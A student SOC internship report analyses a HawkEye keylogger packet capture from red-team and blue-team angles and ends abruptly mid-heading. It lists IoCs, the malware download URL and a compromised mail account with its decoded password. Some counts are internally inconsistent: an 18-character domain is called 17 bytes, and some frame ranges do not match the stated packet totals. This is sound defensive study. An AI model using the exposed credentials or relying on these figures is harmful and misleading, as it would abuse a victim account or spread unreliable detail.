ElevanceSkills SOC Internship — Task 1 Comprehensive Report

HawkEye Tri-Team Analysis: Red Team, Blue Team & Purple Team Defense Handover

Document Reference: ELEV-SOC-TASK1-TRITEAM-2026-FINAL

Student Intern: Aiswarya

Degree / Branch: Bachelor of Technology (B.Tech) in Artificial Intelligence & Data Science

Academic Institution: Jyothi Engineering College (Autonomous), Thrissur, Kerala

Affiliated University: APJ Abdul Kalam Technological University

Internship Role: SOC Analyst & Cybersecurity Intern

Internship Provider: ElevanceSkills

Classification: TLP:CLEAR / Educational Cybersecurity Portfolio

Status: Comprehensive Educational Analysis & Detection Engineering Portfolio (Consolidated Tri-Team Handover)

> **TRI-TEAM ANALYSIS SCOPE & EVIDENTIARY TRANSPARENCY:**
> This comprehensive document unifies all three required analytical perspectives for Task 1 of the ElevanceSkills SOC Internship:
> 1. **Part I: Red Team Report** — Threat actor attack chain, HTTP payload staging, forensic public IP disambiguation, and SMTP credential exfiltration.
> 2. **Part II: Blue Team Report** — Defensive network monitoring, timeline extraction, wire vs. host telemetry categorization, and defensive gap identification.
> 3. **Part III: Purple Team Handover** — Collaborative attack-to-defense mapping, supported MITRE ATT&CK and MITRE D3FEND cross-references, Suricata/Snort signatures, and SOC containment playbooks.

HawkEye — Red Team Report

Adversary Attack Chain Deconstruction & Offensive Emulation Analysis

Document Reference: ELEV-SOC-HAWKEYE-RED-2026-001

Internship Module: Task 1 — HawkEye Tri-Team Analysis (Red Team Perspective)

Student Intern: Aiswarya

Degree / Branch: Bachelor of Technology (B.Tech) in Artificial Intelligence & Data Science

Academic Institution: Jyothi Engineering College (Autonomous), Thrissur, Kerala

Affiliated University: APJ Abdul Kalam Technological University

Internship Provider: ElevanceSkills

Date of Analysis: 2026-10-02 (Revised & Verified: 2026-10-31)

Classification: TLP:CLEAR / Educational Threat Analysis Portfolio

Status: Completed & Verified (Educational Threat Analysis Portfolio — Grounded in Empirical PCAP Telemetry)

EVIDENTIARY DISCLOSURE & BOUNDARY QUALIFICATION:
This report documents the HawkEye intrusion chain strictly through an adversarial analysis lens based on empirical telemetry from `stealer.pcap` (4,003 total packets).
- **Directly Observed Network Evidence:** Wire telemetry confirms the HTTP download of a Windows executable, internal DNS resolutions, HTTP external IP queries returning the victim's public IP, and recurring Base64-encoded SMTP message transmissions.
- **Base64 Encoding vs. Encryption:** Authentication credentials and exfiltrated payloads observed in SMTP streams use Base64 encoding (RFC 4648). Base64 is a reversible binary-to-text encoding scheme, **not cryptographic encryption**; payloads are fully readable in cleartext upon decoding.
- **Periodic Transfers vs. Internal Scheduling:** While 7 periodic exfiltration cycles occur at ~10-minute intervals, the network capture demonstrates automated periodic transmission but cannot independently prove whether the host used an internal application `Sleep()` loop, a Windows Scheduled Task, or a thread timer.
- **Inferred Host Activity:** Keystroke logging, browser database extraction, and local execution methods are analytical inferences corroborated by inspecting the plain-text email payload transmitted across the wire, rather than directly observed through host kernel sensors.
- **Initial Delivery Scope:** The PCAP begins at the staging retrieval phase (elapsed time ~47.4 s); initial delivery (such as a spear-phishing lure) is not captured.

---

1. Executive Summary

This Red Team assessment deconstructs the offensive tradecraft of the HawkEye keylogger campaign captured in `stealer.pcap` (total packet count: **4,003 packets**; duration: **1:03:41**).

The primary target observed on the internal network was **`10.4.10.132`** (`Beijing-5cd1-PC`). The adversary engineered an automated operational chain designed to stage second-stage malware, verify egress public network addressing, establish an application-layer egress channel over standard mail submission ports, and sustain recurring automated exfiltration without operator intervention.

The observed attack sequence progressed across four concrete phases:

1. **Malware Acquisition & Ingress:** Host `10.4.10.132` queried DNS for `proforma-invoices.com` (Frame 204), resolved it to `217.182.138.150` (Frame 206), and retrieved `tkraw_Protected99.exe` via HTTP GET on port 80 (Frames 207–209).
2. **External Public-IP Discovery:** The host resolved `bot.whatismyipaddress.com` to `66.171.248.178` (Frames 3159–3160) and performed an HTTP query (Frame 3164) that returned the victim host's actual public egress IP: **`173.66.146.112`** in Frame 3166.
3. **C2 & Exfiltration Channel Establishment:** The host resolved `macwinlogistics.in` (Frames 3170–3171) to `23.229.162.69` (hosted on GoDaddy Secureserver infrastructure), connected to SMTP port 587 (Frame 3172), bypassed STARTTLS encryption, authenticated in cleartext using Base64 encoding (Frames 3179–3184), and submitted an email containing harvested system telemetry, keystrokes, and credentials (Frame 3194). Earlier informal lab writeups referenced `mail.winlogistics.in`; packet-level analysis confirms the queried domain is strictly `macwinlogistics.in`.
4. **Recurring ~10-Minute Network Cadence:** The exfiltration routine repeated across 7 observed network cycles at approximately **604–606 second (~10 minute)** intervals, concluding with Cycle 7 in Frames 3910–3982 (active message transmission in Frames 3923–3958; capture ends at Packet 4,003). While network telemetry establishes consistent inter-arrival intervals on the wire, the internal host execution state (e.g., in-memory sleep loop vs. system timer) cannot be definitively established from PCAP data alone.

---

2. Lab Environment & Network Scope

Parameter	Observed Evidence / Specification	Forensic Notes
Dataset Analyzed	`stealer.pcap` (**4,003 packets**, 2,454,198 bytes)	SHA-256: `22106927C11836D29078DFBEC20BE9D6B61B1F3F47F95C758ACC47A1FB424E51`
Capture Window	`2019-04-10 20:37:07` to `21:40:48 UTC`	Total capture duration: 3,821.56 seconds (`1:03:41`)
Primary Internal Host	`10.4.10.132` (`Beijing-5cd1-PC`)	MAC: `00:08:02:1c:47:ae` (Hewlett-Packard NIC)
Internal DNS Resolver	`10.4.10.4`	Handled internal DNS forwarding queries
Operating System	Windows NT 6.1 (Windows 7 / Server 2008 R2)	Extracted from HTTP User-Agent string
Analysis Toolkit	Wireshark 4.x protocol analyzer, Python `struct` pcap parser	Pure offline packet forensics

3. Observed Attack Sequence & Timeline

```
sequenceDiagram
    autonumber
    participant V as Victim (10.4.10.132)
    participant D as DNS Server (10.4.10.4)
    participant S as Staging Server (217.182.138.150)
    participant W as IP Lookup Server (66.171.248.178)
    participant M as SMTP Mail Server (23.229.162.69:587)

    Note over V,S: Phase 1: Malware Ingress
    V->>D: DNS Query: proforma-invoices.com (Frame 204)
    D-->>V: DNS A Record: 217.182.138.150 (Frame 206)
    V->>S: HTTP GET /proforma/tkraw_Protected99.exe (Frame 207)
    S-->>V: HTTP 200 OK (PE Binary Carved, 2,025,472 B) (Frames 208-3155)

    Note over V,W: Phase 2: External IP Reconnaissance
    V->>D: DNS Query: bot.whatismyipaddress.com (Frame 3159)
    D-->>V: DNS A Record: 66.171.248.178 (Frame 3160)
    V->>W: HTTP GET / to 66.171.248.178:80 (Frame 3164)
    W-->>V: HTTP 200 OK Payload: "173.66.146.112" (Frame 3166)

    Note over V,M: Phase 3: Exfiltration Over Mail
    V->>D: DNS Query: macwinlogistics.in (Frame 3170)
    D-->>V: DNS A Record: 23.229.162.69 (Frame 3171)
    V->>M: TCP SYN to Port 587 (Frame 3172)
    M-->>V: TCP SYN-ACK (Frame 3173)
    M-->>V: 220-p3plcpnl0413.prod.phx3.secureserver.net Exim 4.91 Banner (Frame 3175)
    V->>M: EHLO Beijing-5cd1-PC (Frame 3176)
    M-->>V: 250-Hello Beijing-5cd1-PC [173.66.146.112] (Offers 250-STARTTLS, 250-AUTH) (Frame 3178)
    Note over V,M: Client Bypasses STARTTLS (No TLS Negotiation; 100% Plaintext Dialogue)
    V->>M: AUTH LOGIN (Base64 User: sales.del@macwinlogistics.in) (Frame 3179)
    M-->>V: 334 UGFzc3dvcmQ6 (Frame 3181)
    V->>M: U2FsZXNAMjM= (Base64 Pass: Sales@23) (Frame 3182)
    M-->>V: 235 Authentication succeeded (Frame 3184)
    V->>M: MAIL FROM / RCPT TO / DATA (Frames 3185-3193)
    V->>M: DATA: HawkEye Reborn v9 Exfil Payload (Frame 3194)
    M-->>V: 250 OK id=1hEJz6-00G6e9-Af Accepted (Frame 3206)

    Note over V,M: Phase 4: Automated Periodic Cadence
    V->>M: 7 Periodic Cycles (Frames 3172–3207 to Frames 3923–3958) at ~604s intervals (All <= Frame 4003)
```

4. Technical Attack Methodology Deconstruction

4.1 Executable Acquisition & Payload Delivery

In Frame 204 (elapsed time 47.45 s), victim `10.4.10.132` requested DNS resolution for domain `proforma-invoices.com`. The internal resolver (`10.4.10.4`) returned IP `217.182.138.150` (hosted under OVH SAS in France) in Frame 206.

The victim initiated a TCP handshake on port 80 and issued an HTTP request:

```
GET /proforma/tkraw_Protected99.exe HTTP/1.1
Host: proforma-invoices.com
Connection: Keep-Alive
```

The server returned `HTTP/1.1 200 OK` (Server: LiteSpeed) transferring a 2,025,472-byte Windows PE executable across TCP stream reassembly (Frames 208–3155). The extracted binary was preserved and verified:

- **MD5 Checksum:** `71826BA081E303866CE2A2534491A2F7`
- **SHA-256 Checksum:** `62099532750DAD1054B127689680C38590033FA0BDFA4FB40C7B4DCB2607FB11`

Adversary Intent: Staging second-stage malware disguised as a commercial proforma invoice on an external HTTP server, evading simple perimeter controls that only inspect inbound email attachments.

4.2 Forensic Disambiguation: IP Lookup Service vs. Victim Public IP

A critical requirement in threat analysis is disambiguating third-party reconnaissance infrastructure from the victim host's actual public network identity. The PCAP evidence provides clear, empirical proof:

PCAP PROOF: 66.171.248.178 vs. 173.66.146.112	
IP Address	**Role, Network Protocol & Empirical PCAP Evidence**
66.171.248.178	• Identity: External Web Server hosting bot.whatismyipaddress.com. • DNS Answer (Frame 3160): DNS A-record for bot.whatismyipaddress.com resolves to 66.171.248.178. • HTTP Destination (Frame 3164): 10.4.10.132 connects to 66.171.248.178:80. • Finding: THIS IS NOT THE VICTIM. It is a legitimate IP-echo web service.
173.66.146.112	• Identity: The Victim Workstation's Public Egress NAT IP Address. • HTTP Payload (Frame 3166): 66.171.248.178 returns HTTP 200 OK with a 14-byte payload: "173.66.146.112". • SMTP Handshake (Frame 3178): Remote mail server 23.229.162.69 greets client with: "250 Hello Beijing-5cd1-PC [173.66.146.112]". • Malware Body (Frame 3194): HawkEye embeds "173.66.146.112" into the stolen telemetry system information block. • Finding: THIS IS THE VICTIM'S EXTERNAL INTERNET IP.

Adversary Intent: Malware authors query public IP reflection services so that exfiltrated credential packages include the victim's external geographic location and IP address, allowing the threat actor to verify corporate network origin and organize compromised asset pools.

4.3 C2 Exfiltration Channel: SMTP Protocol & Encryption Dissection

4.3.1 Forensic Identification of Destination SMTP Server

A forensic review of all 4,003 packets in `stealer.pcap` establishes the exact identity of the destination mail relay:

- **DNS Query (Frames 3170, 3301, 3388, 3473, 3588, 3843, 3921):** The victim host explicitly queries domain `macwinlogistics.in` (Apex domain, standard A-record query to internal resolver `10.4.10.4`).
- **DNS Response (Frames 3171, 3302, 3389, 3474, 3589, 3844, 3922):** The resolver answers with IP `23.229.162.69`.
- **Service Banner (Frame 3175):** Upon TCP handshake to `23.229.162.69:587`, the mail server responds with:

```
220-p3plcpnl0413.prod.phx3.secureserver.net ESMTP Exim 4.91 #1 Wed, 10 Apr 2019 13:38:15 -0700
```

(Hosted on GoDaddy Secureserver shared hosting infrastructure in Phoenix, Arizona).

- **Disambiguation of Reporting Discrepancies:**
- *`macwinlogistics.in` vs. `mail.winlogistics.in`:* Earlier informal lab writeups and student notes recorded `mail.winlogistics.in` as shorthand. Binary frame inspection proves that the wire query is strictly `macwinlogistics.in` (17 bytes: `macwinlogistics.in`) resolving directly to `23.229.162.69`.
- *`mail.gulfstreamins.com / 64.233.167.27`:* An external review draft erroneously referenced this host. An exhaustive string and packet filter across all 4,003 frames in `stealer.pcap` confirms **zero** packets matching `gulfstream` or `64.233.167.27`. That identity stems from an unrelated public HawkEye malware sample and does not exist in this capture dataset. The sole destination mail server across all seven exfiltration cycles is `macwinlogistics.in` (`23.229.162.69:587`).

4.3.2 Encryption Analysis & Transport Security Findings

A critical forensic determination is whether the exfiltration session is cryptographically protected or transmitted in cleartext:

1. **Server STARTTLS Capability Advertised:** In Frame 3178, the server responds to `EHLO Beijing-5cd1-PC` with capability flags including `250-STARTTLS` and `250-AUTH PLAIN LOGIN`.
2. **Client STARTTLS Bypass (Zero TLS Handshake):** The malware client **never issues the `STARTTLS` command**. It completely ignores the server's TLS capability. There are zero TLS Client Hello packets, zero cryptographic certificates exchanged, and zero TLS records (0x16 0x03) in the capture.
3. **Plaintext SMTP Commands:** All dialogue commands (`EHLO`, `AUTH LOGIN`, `MAIL FROM:`, `RCPT TO:`, `DATA`, `QUIT`) and server responses (`220`, `250`, `334`, `235`, `354`) are sent as unencrypted ASCII text over TCP port 587.
4. **Base64 Authentication Encoding (Not Encryption):**

- Username (Frame 3179): `c2FsZXMuZGVsQG1hY3dpbmxvZ2lzdGljcy5pbg==` decodes directly to **`sales.del@macwinlogistics.in`**.
- Server challenge (Frame 3181): `UGFzc3dvcmQ6` decodes to `Password:`.
- Password (Frame 3182): `U2FsZXNAMjM=` decodes directly to **`Sales@23`**.
- *Technical Note:* Base64 is an RFC 4648 binary-to-text representation scheme providing zero cryptographic confidentiality. Any inline sensor or packet capture tool can immediately decode credentials on the wire.

5. **Inspectable Email Payload (Frame 3194):** The transmitted MIME message and keylogger body (`Subject: =?utf-8?B?...`) are entirely cleartext Base64 MIME parts. Keystrokes, machine credentials (`oman.mcguire`), and host metadata (`Windows NT 6.1`, `173.66.146.112`) are directly reconstructible without cryptographic key material.

4.4 Verified Seven-Cycle Exfiltration Timeline (All 4,003 Packets Validated)

An exhaustive parse of all 4,003 packets in `stealer.pcap` extracts every individual frame for all seven exfiltration cycles. No cycles are extrapolated or estimated:

Cycle #	DNS Public IP Discovery (`bot.whatismyip`)	HTTP IP Echo (`66.171.248.178:80`)	DNS Mail Host (`macwinlogistics.in`)	SMTP Active Message Range (`23.229.162.69:587`)	SMTP Full Session (incl. Teardown)	Actual Timestamp (UTC) / Elapsed (s)	Measured Delta from Prev. Cycle
1	Frames 3159–3160	Frames 3161–3169 (Req: 3164, Res: 3166)	Frames 3170–3171	**Frames 3172–3207** (36 pkts)	Frames 3172–3254 (40 pkts)	`2019-04-10 20:38:15 UTC` (`T + 68.78s`)	Baseline
2	Frames 3290–3291	Frames 3292–3300 (Req: 3295, Res: 3297)	Frames 3301–3302	**Frames 3303–3338** (36 pkts)	Frames 3303–3344 (40 pkts)	`2019-04-10 20:48:20 UTC` (`T + 673.21s`)	**+604.42 s** (10m 04s)
3	Frames 3377–3378	Frames 3379–3387 (Req: 3382, Res: 3384)	Frames 3388–3389	**Frames 3390–3425** (36 pkts)	Frames 3390–3431 (40 pkts)	`2019-04-10 20:58:24 UTC` (`T + 1277.47s`)	**+604.26 s** (10m 04s)
4	Frames 3462–3463	Frames 3464–3472 (Req: 3467, Res: 3469)	Frames 3473–3474	**Frames 3475–3510** (36 pkts)	Frames 3475–3516 (40 pkts)	`2019-04-10 21:08:30 UTC` (`T + 1883.23s`)	**+605.76 s** (10m 05s)
5	Frames 3577–3578	Frames 3579–3587 (Req: 3582, Res: 3584)	Frames 3588–3589	**Frames 3590–3625** (36 pkts)	Frames 3590–3629 (40 pkts)	`2019-04-10 21:18:34 UTC` (`T + 2487.36s`)	**+604.13 s** (10m 04s)
6	Frames 3832–3833	Frames 3834–3842 (Req: 3837, Res: 3839)	Frames 3843–3844	**Frames 3845–3880** (36 pkts)	Frames 3845–3887 (40 pkts)	`2019-04-10 21:28:38 UTC` (`T + 3091.53s`)	**+604.17 s** (10m 04s)
7	Frames 3910–3911	Frames 3912–3920 (Req: 3915, Res: 3917)	Frames 3921–3922	**Frames 3923–3958** (36 pkts)	Frames 3923–3982 (40 pkts)	`2019-04-10 21:38:42 UTC` (`T + 3695.66s`)	**+604.12 s** (10m 04s)

Resolution of Forensic Verification & Packet Boundary Audit:
1. Every cited frame number is strictly $\le 4,003$. Prior unverified draft notes referencing frames 4,080–4,118 were caused by manual packet extrapolation. In reality, Cycle 7 active message transmission completes at **Frame 3958**, and its TCP connection teardown completes at **Frame 3982**.
2. The capture concludes at **Frame 4003** at elapsed time 3,821.56 s (`2019-04-10 21:40:48.69 UTC`).
3. Across all 7 cycles, network activity recurs at consistent **604.12 s to 605.76 s** (~10 minutes 4 seconds) intervals. While this network regularity indicates automated timer-driven behavior, the PCAP alone records wire telemetry and cannot prove the malware's internal execution state (such as an in-memory sleep loop, thread timer, or scheduled task) during silent periods.

5. Directly Observed Network Evidence vs. Forensic Interpretation vs. Unobservable Host State

To maintain forensic integrity, analytical findings are explicitly bifurcated across three distinct evidentiary tiers:

```
+-------------------------------------------------------------------------------------------+
|                        TRIPARTITE EVIDENTIARY CLASSIFICATION & INTEGRITY AUDIT             |
+-----------------------------------+-------------------------------+-----------------------+
| 1. Directly Observed Wire Evidence | 2. Forensic Interpretation     | 3. Unobservable from PCAP   |
|    (Empirical PCAP Ground Truth)   |    (Corroborated by Payload)   |    (Requires Host Telemetry)|
+-----------------------------------+-------------------------------+-----------------------+
| • HTTP GET download of PE binary   | • Malware payload execution    | • Initial phishing email    |
|   tkraw_Protected99.exe (Fr. 207). |   occurred on victim machine   |   delivery lure (capture    |
| • DNS resolution & HTTP IP echo    |   (inferred from subsequent    |   begins at HTTP download). |
|   returning 173.66.146.112.        |   exfiltration telemetry).     | • Process spawn mechanism   |
| • Cleartext Base64 SMTP login to   | • System info & passwords were |   (double-click vs script). |
|   23.229.162.69:587 (Fr. 3172-3207)|   extracted from local browser | • Windows API hook calls    |
| • 7 recurring network cycles at    |   profiles (corroborated by    |   (SetWindowsHookEx) and    |
|   ~604-606s intervals.             |   cleartext Frame 3194 body).  |   RAM keylogger buffer.     |
| • Network traffic during gaps:     | • ~10-minute cadence represents| • Exact internal process    |
|   zero HawkEye C2 (port 587); only |   an automated exfiltration    |   state during gaps:        |
|   internal LAN traffic (SMB/NBNS)  |   schedule rather than human   |   sleep loop vs timer queue |
|   and Google update (Fr. 3268-3289)|   operator activity.           |   vs scheduled task.        |
+-----------------------------------+-------------------------------+-----------------------+
```

Detailed Gap Traffic Analysis Method:

An exhaustive inspection across all inter-cycle silent intervals was conducted by applying packet filters across gap boundaries (Frames 3255–3289, 3345–3376, 3432–3461, 3517–3576, 3630–3831, 3888–3909). Findings:

1. **Zero HawkEye C2 Traffic:** Exactly zero packets to destination port 587, port 25, port 465, or IP `23.229.162.69` occurred during the ~10-minute gaps.
2. **Internal Background Traffic:** The network interface logged standard benign Windows LAN traffic: SMB (TCP 445 file sharing keepalives between `10.4.10.132` and `10.4.10.4`), NetBIOS Name Service (UDP 137), and internal DNS (UDP 53).
3. **Workstation Internet Traffic:** In Gap 1 (Frames 3268–3289), the workstation performed a legitimate background Google Chrome update check over HTTPS to `update.googleapis.com` (`216.58.193.131:443`). No other external communication took place.

6. Supported MITRE ATT&CK Mapping (Red Team Scope)

Every mapped ATT&CK technique is categorized by evidentiary basis:

MITRE ATT&CK TTP	Description	Evidentiary Basis in Capture	Classification
T1105	Ingress Tool Transfer	HTTP GET `/proforma/tkraw_Protected99.exe` in Frame 207	**Directly Observed on Wire**
T1016	System Network Config Discovery	DNS & HTTP query to `bot.whatismyipaddress.com` in Frames 3159–3166	**Directly Observed on Wire**
T1071.003	Mail Protocols	Exfiltration over SMTP on port 587 to `23.229.162.69`	**Directly Observed on Wire**
T1041	Exfiltration Over C2 Channel	Transmission of exfiltration email in Frame 3194	**Directly Observed on Wire**
T1029	Scheduled Transfer	7 consecutive SMTP cycles repeating every 604–606s	**Directly Observed on Wire**
T1056.001	Input Capture: Keylogging	Transmitted email body containing captured keystrokes	**Inferred (Payload Corroborated)**
T1555.003	Credentials from Web Browsers	Transmitted email body containing Bank of America profile	**Inferred (Payload Corroborated)**

7. Adversary Indicators of Compromise (IoCs)

Indicator Type	Value	Context
Victim Internal IP	`10.4.10.132`	Primary compromised host (`Beijing-5cd1-PC`)
Victim Public IP	`173.66.146.112`	Public egress IP returned in HTTP Frame 3166 & confirmed in SMTP EHLO Frame 3178
Lookup Service IP	`66.171.248.178`	External IP of `bot.whatismyipaddress.com` (Frame 3160)
Staging Web Server IP	`217.182.138.150`	Server hosting malware payload on port 80 (Frame 206)
Staging Domain	`proforma-invoices.com`	Staging domain delivering executable
Malicious Binary	`tkraw_Protected99.exe`	2,025,472-byte HawkEye Reborn v9 executable
Binary MD5	`71826BA081E303866CE2A2534491A2F7`	Extracted PE binary hash
Binary SHA-256	`62099532750DAD1054B127689680C38590033FA0BDFA4FB40C7B4DCB2607FB11`	Extracted PE binary hash
Exfiltration Server IP	`23.229.162.69`	Destination mail server listening on port 587 (DNS: Frame 3171, TCP: Frame 3172)
Exfiltration Domain	`macwinlogistics.in`	Actual DNS-queried apex domain (earlier notes cited `mail.winlogistics.in`)
Compromised Account	`sales.del@macwinlogistics.in`	Account abused for cleartext Base64 SMTP authentication

8. Conclusion

From a Red Team perspective, the HawkEye keylogger campaign represents an effective, low-complexity attack chain. The attacker bypassed perimeter email filtering by staging the executable on an external web server (`proforma-invoices.com`), utilized a trusted third-party service (`bot.whatismyipaddress.com`) to verify the victim's external public IP (`173.66.146.112`), and abused standard SMTP port 587 to exfiltrate credentials using Base64 encoding.

This deconstruction provides the empirical baseline for the Blue Team detection analysis and Purple Team collaborative handover.

HawkEye — Blue Team Report

Defensive Network Monitoring, Detection Engineering & SOC Incident Triage

Document Reference: ELEV-SOC-HAWKEYE-BLUE-2026-001

Internship Module: Task 1 — HawkEye Tri-Team Analysis (Blue Team Perspective)

Student Intern: Aiswarya

Degree / Branch: Bachelor of Technology (B.Tech) in Artificial Intelligence & Data Science

Academic Institution: Jyothi Engineering College (Autonomous), Thrissur, Kerala

Affiliated University: APJ Abdul Kalam Technological University

Internship Provider: ElevanceSkills

Date of Analysis: 2026-10-02 (Revised & Verified: 2026-10-31)

Classification: TLP:CLEAR / Educational Threat Analysis Portfolio

Status: Completed & Verified (Educational Threat Analysis Portfolio — Grounded in Empirical PCAP Telemetry)

> **EVIDENTIARY BOUNDARY & DEFENSIVE DISCLOSURE:**
> This report documents the defensive analysis of `stealer.pcap` (4,003 total packets) from the perspective of a SOC Tier 1/2 Analyst.
> - **Empirical Wire Telemetry:** Network-layer observations (DNS queries, HTTP payload carving, IP reflections, and authenticated SMTP sessions) represent confirmed ground truth from the packet capture.
> - **Base64 Encoding vs. Encryption:** SMTP authentication tokens and exfiltration message bodies utilize Base64 encoding (RFC 4648). Base64 is a reversible encoding scheme, **not cryptographic encryption**; credentials and message contents are transmitted in cleartext on the wire.
> - **Periodic Traffic vs. Host Scheduling:** While network telemetry reveals 7 periodic exfiltration cycles at ~10-minute intervals, the network data alone cannot establish the underlying host implementation mechanism (such as an application `Sleep()` loop, an event timer, or a Windows Scheduled Task).
> - **Inferred Endpoint Events:** Internal host activity (such as process execution, keystroke hook injection, and registry persistence) is inferred from the decrypted exfiltration payload and requires host-level sensor telemetry (Sysmon / EDR) to confirm on the endpoint itself.
> - **Proposed Rules Status:** Network detection signatures (Suricata/Snort) represent **proposed detection engineering drafts** modeled from observed indicators; they were not deployed or tested against a live IDS sensor engine.

1. Executive Summary

This Blue Team investigation evaluates the detection, correlation, and response capabilities required to identify and mitigate the HawkEye infostealer intrusion documented in `stealer.pcap` (**4,003 packets**, duration: **1:03:41**).

Analysis of the captured network traffic revealed that internal endpoint `10.4.10.132` (`Beijing-5cd1-PC`, Windows NT 6.1) was compromised by second-stage malware. The intrusion presented multiple high-fidelity detection opportunities across network perimeter taps, internal DNS resolvers, and mail egress monitoring points.

The Blue Team identified four primary detection choke-points:

1. **Malware Download Anomaly:** An HTTP request for an uncompressed Windows PE executable (`tkraw_Protected99.exe`, 2,025,472 bytes) from external domain `proforma-invoices.com` (`217.182.138.150:80`) in Frames 207–3155.
2. **Reconnaissance Signal:** An external DNS query and HTTP transaction to `bot.whatismyipaddress.com` (`66.171.248.178`), returning the victim's public NAT IP: `173.66.146.112` in Frame 3166.
3. **Unauthorized Mail Egress:** Direct endpoint-to-external SMTP connection on port 587 to mail relay `23.229.162.69` (`macwinlogistics.in`, Exim 4.91) featuring unencrypted, cleartext transmission with Base64 `AUTH LOGIN` authentication (STARTTLS offered by server but bypassed by client). Earlier informal lab notes cited `mail.winlogistics.in`; packet-level analysis confirms the queried domain is strictly `macwinlogistics.in`.
4. **Periodic Beaconing Anomaly:** Recurrent SMTP exfiltration bursts repeating systematically across 7 cycles at approximately **604–606 second (~10 minute)** intervals on the wire, concluding with Cycle 7 in Frames 3910–3982 (active message transmission in Frames 3923–3958; capture ends at Packet 4,003). While network telemetry confirms consistent timing, the internal process execution state during intervals cannot be proven from PCAP data alone.

2. Forensic Disambiguation: Lookup Server IP vs. Victim Public IP

A common analytical pitfall during SOC triage is conflating external cloud services with the victim's own Internet-facing identity. The Blue Team established unambiguous differentiation through strict packet-level protocol dissection:

```
+-------------------------------------------------------------------------------------------+
|                        BLUE TEAM PACKET FORENSIC IP DIFFERENTIATION                       |
+-------------------+-----------------------------------------------------------------------+
| Address           | Protocol, Frame Number & Analytical Finding                           |
+-------------------+-----------------------------------------------------------------------+
| 66.171.248.178    | • Protocol: DNS Answer (Frame 3160) & HTTP Destination (Frame 3164).  |
|                   | • Identity: External Web Server hosting bot.whatismyipaddress.com.    |
|                   | • SOC Interpretation: Third-party utility infrastructure queried by malware |
|                   |   to discover its external egress gateway. NOT an internal host or victim IP. |
+-------------------+-----------------------------------------------------------------------+
| 173.66.146.112    | • Protocol: HTTP 200 Response Payload (Frame 3166), SMTP 250 Banner   |
|                   |   (Frame 3178), and Exfiltration Message Body (Frame 3194).           |
|                   | • Identity: The Victim Workstation's Public Egress NAT IP Address.    |
|                   | • SOC Interpretation: Identifies the enterprise egress perimeter IP through |
|                   |   which the internal host (10.4.10.132) traverses the Internet.       |
+-------------------+-----------------------------------------------------------------------+
```

3. Incident Timeline & Detection Opportunities (Verified Frame Boundaries)

3.1 Initial Ingress & Phase Milestones

Every cited frame number below has been verified against the 4,003 packets in `stealer.pcap`:

Elapsed Time	Frame(s)	Observed Network Behavior	Blue Team Detection Opportunity	Severity
~47.4 s	204–206	DNS lookup for `proforma-invoices.com` resolving to `217.182.138.150`.	Newly Registered Domain (NRD) / Threat Feed match.	LOW
~47.6 s	207–3155	HTTP GET for `/proforma/tkraw_Protected99.exe` returning `200 OK`.	Proposed Suricata alert: Raw PE executable download over HTTP.	**HIGH**
~68.5 s	3159–3160	DNS query for `bot.whatismyipaddress.com` resolving to `66.171.248.178`.	Host querying public IP echo service shortly after download.	MEDIUM
~68.6 s	3161–3169	HTTP GET to `66.171.248.178:80` returning payload `173.66.146.112`.	Egress proxy alert: Programmatic external-IP check.	MEDIUM
~68.7 s	3170–3171	DNS query for `macwinlogistics.in` resolving to `23.229.162.69`.	DNS anomaly: Direct lookup for unclassified external mail domain.	MEDIUM
~68.8 s	3172–3175	TCP connection to `23.229.162.69:587` returning Exim 4.91 banner.	Egress firewall alert: User workstation opening port 587.	**HIGH**
~69.2 s	3179–3184	Plaintext Base64 SMTP `AUTH LOGIN` (`sales.del@macwinlogistics.in`).	NSM alert: Cleartext credential transmission on mail port.	**HIGH**
~69.5 s	3194–3206	Email submission with subject `HawkEye Keylogger - Reborn v9...`.	Content inspection alert: Infostealer string signature.	**CRITICAL**

3.2 Verified Seven-Cycle Exfiltration Timeline (All 4,003 Packets Validated)

An exhaustive parse of all 4,003 packets in `stealer.pcap` establishes the exact packet frame boundaries and timestamps for all seven exfiltration cycles without extrapolation:

Cycle #	DNS Public IP Discovery (`bot.whatismyip`)	HTTP IP Echo (`66.171.248.178:80`)	DNS Mail Host (`macwinlogistics.in`)	SMTP Active Message Range (`23.229.162.69:587`)	SMTP Full Session (incl. Teardown)	Actual Timestamp (UTC) / Elapsed (s)	Measured Delta from Prev. Cycle
1	Frames 3159–3160	Frames 3161–3169 (Req: 3164, Res: 3166)	Frames 3170–3171	**Frames 3172–3207** (36 pkts)	Frames 3172–3254 (40 pkts)	`2019-04-10 20:38:15 UTC` (`T + 68.78s`)	Baseline
2	Frames 3290–3291	Frames 3292–3300 (Req: 3295, Res: 3297)	Frames 3301–3302	**Frames 3303–3338** (36 pkts)	Frames 3303–3344 (40 pkts)	`2019-04-10 20:48:20 UTC` (`T + 673.21s`)	**+604.42 s** (10m 04s)
3	Frames 3377–3378	Frames 3379–3387 (Req: 3382, Res: 3384)	Frames 3388–3389	**Frames 3390–3425** (36 pkts)	Frames 3390–3431 (40 pkts)	`2019-04-10 20:58:24 UTC` (`T + 1277.47s`)	**+604.26 s** (10m 04s)
4	Frames 3462–3463	Frames 3464–3472 (Req: 3467, Res: 3469)	Frames 3473–3474	**Frames 3475–3510** (36 pkts)	Frames 3475–3516 (40 pkts)	`2019-04-10 21:08:30 UTC` (`T + 1883.23s`)	**+605.76 s** (10m 05s)
5	Frames 3577–3578	Frames 3579–3587 (Req: 3582, Res: 3584)	Frames 3588–3589	**Frames 3590–3625** (36 pkts)	Frames 3590–3629 (40 pkts)	`2019-04-10 21:18:34 UTC` (`T + 2487.36s`)	**+604.13 s** (10m 04s)
6	Frames 3832–3833	Frames 3834–3842 (Req: 3837, Res: 3839)	Frames 3843–3844	**Frames 3845–3880** (36 pkts)	Frames 3845–3887 (40 pkts)	`2019-04-10 21:28:38 UTC` (`T + 3091.53s`)	**+604.17 s** (10m 04s)
7	Frames 3910–3911	Frames 3912–3920 (Req: 3915, Res: 3917)	Frames 3921–3922	**Frames 3923–3958** (36 pkts)	Frames 3923–3982 (40 pkts)	`2019-04-10 21:38:42 UTC` (`T + 3695.66s`)	**+604.12 s** (10m 04s)

> All exfiltration cycles terminate with Frame 3958 (active message) and Frame 3982 (TCP teardown). The overall capture concludes with packet 4,003 at elapsed time 3,821.56 s (`2019-04-10 21:40:48.69 UTC`). All cited frames are strictly verified $\le 4,003$.

3.3 Blue Team Protocol & Encryption Forensic Findings

1. **SMTP Destination Disambiguation:**

